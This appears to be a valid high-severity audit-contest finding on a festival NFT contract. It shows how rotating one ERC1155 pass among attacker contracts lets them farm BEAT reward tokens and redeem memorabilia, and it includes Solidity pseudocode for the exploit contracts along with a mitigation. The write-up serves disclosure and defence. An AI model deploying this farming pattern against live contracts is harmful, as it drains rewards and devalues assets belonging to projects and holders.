Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Pass Transfer Replay Allows BEAT Farming Across Multiple Contracts

Root + Impact

Attackers can use a single ERC1155 Pass to attend the same performance from multiple contracts, minting BEAT tokens multiple times illegitimately. This undermines the one-pass-per-attendee logic and enables infinite BEAT farming with a single pass, eventually leading to NFT redemption without economic cost.

Description

šŸ”¹ Normal Behavior:

A user holding an ERC1155 FestivalPass is allowed to call attendPerformance(performanceId), which verifies they hold a pass, checks cooldown and attendance status, and then mints BEAT tokens as a reward.

šŸ”¹ Issue:

The contract checks pass ownership via hasPass(msg.sender) only once at the start of attendPerformance(). However, it does not lock the pass or verify ownership after the BEAT token mint. Because ERC1155 passes are transferrable during execution or immediately afterward, a user can:

  1. Call attendPerformance() from one address (Contract A).

  2. Transfer the pass to another contract (Contract B).

  3. Repeat the process to farm BEAT tokens multiple times per performance using only one Festival Pass.

These BEAT tokens can then be used to redeem unlimited NFTs via redeemMemorabilia().

// Root cause in the codebase with @> marks to highlight the relevant section
​
function attendPerformance(uint256 performanceId) external {
require(isPerformanceActive(performanceId), "Performance is not active");
require(hasPass(msg.sender), "Must own a pass"); //@> Checks pass only at the start
require(!hasAttended[performanceId][msg.sender], "Already attended this performance");
require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met");
hasAttended[performanceId][msg.sender] = true; //@> Attendance is tracked **per address**, not per pass/token ID.
lastCheckIn[msg.sender] = block.timestamp;
uint256 multiplier = getMultiplier(msg.sender);
BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier); //@> Rewards attacker
}
  • Attendance is tracked per address, not per pass/token ID.

  • Contracts can transfer ERC1155 tokens immediately after passing the hasPass check.

  • No lock or reference to token ownership duration.

Risk

Likelihood:

  • Reason 1: This will occur whenever an attacker deploys multiple contracts and rotates ownership of a single pass among them.

  • Reason 2: All conditions inside attendPerformance are satisfied each time a new contract address receives the pass.

Impact:

  • Impact 1: Attackers can mint unlimited BEAT tokens using a single pass spread across wallets/contracts.

  • Impact 2: Farmed BEAT tokens can be used to redeem limited-edition NFTs (redeemMemorabilia()), violating maximum supply constraints, devaluing NFTs, and collapsing collection scarcity.

Proof of Concept

Step-by-step attack outline:

  1. Attacker deploys multiple contracts (e.g., Contract A, B, C…).

  2. Buys only 1 Festival Pass.

  3. Calls attendPerformance() from Contract A.

  4. After BEAT tokens are minted, transfers the ERC1155 pass to Contract B.

  5. Calls attendPerformance() from Contract B.

  6. Repeats the process N times, farming N Ɨ BEAT tokens.

  7. Finally, uses redeemMemorabilia() to mint NFTs from the collected BEAT tokens.


Pseudocode

// This is a Pseudocode
// Attacker deploys these contracts
contract AttackerController {
address public passContract; // IFestivalPass address
address public beatToken; // BEAT ERC20 token address
uint256 public passId = 1; // Festival pass ID (GENERAL, VIP, etc.)
uint256 public performanceId; // Target performance ID
uint256 public collectionId; // Memorabilia collection to redeem from
​
address[] public farmContracts; // List of deployed farming contracts
uint256 public nextFarmIndex = 0;
​
constructor(address _passContract, address _beatToken, uint256 _performanceId, uint256 _collectionId) {
passContract = _passContract;
beatToken = _beatToken;
performanceId = _performanceId;
collectionId = _collectionId;
}
​
function setupFarms(uint256 count) external {
for (uint256 i = 0; i < count; i++) {
Farm farm = new Farm(passContract, beatToken, performanceId);
farmContracts.push(address(farm));
}
}
​
function startExploit() external {
// Step 1: Buy 1 Festival Pass (outside this function, attacker manually buys)
// Step 2: Transfer pass to first farm
IFestivalPass(passContract).safeTransferFrom(msg.sender, farmContracts[0], passId, 1, "");
​
// Step 3: Begin farming loop
for (uint256 i = 0; i < farmContracts.length; i++) {
Farm(farmContracts[i]).attend();
​
// Transfer pass to next farm if exists
if (i + 1 < farmContracts.length) {
Farm(farmContracts[i]).sendPass(farmContracts[i + 1]);
}
}
}
​
function redeemAllNFTs() external {
// After farming, attacker redeems NFTs with BEAT tokens
IFestivalPass(passContract).redeemMemorabilia(collectionId);
}
}
​
// Each farm contract will receive the pass and farm once
contract Farm {
address public passContract;
address public beatToken;
uint256 public performanceId;
uint256 public passId = 1;
​
constructor(address _passContract, address _beatToken, uint256 _performanceId) {
passContract = _passContract;
beatToken = _beatToken;
performanceId = _performanceId;
}
​
function attend() external {
// Call attendPerformance to farm BEAT tokens
IFestivalPass(passContract).attendPerformance(performanceId);
}
​
function sendPass(address nextFarm) external {
IFestivalPass(passContract).safeTransferFrom(address(this), nextFarm, passId, 1, "");
}
​
// Required to accept ERC1155
function onERC1155Received(...) external pure returns (bytes4) {
return this.onERC1155Received.selector;
}
}
​

Recommended Mitigation

1) Track Attendance by Token ID (not just msg.sender):

- require(!hasAttended[performanceId][msg.sender], "Already attended this performance");
+ require(!hasAttended[performanceId][msg.sender][tokenId], "Already attended with this pass");

2) Pass Ownership Duration Lock: Enforce a minimum holding duration before a pass can be used.

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Unlimited beat farming by transferring passes to other addresses.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.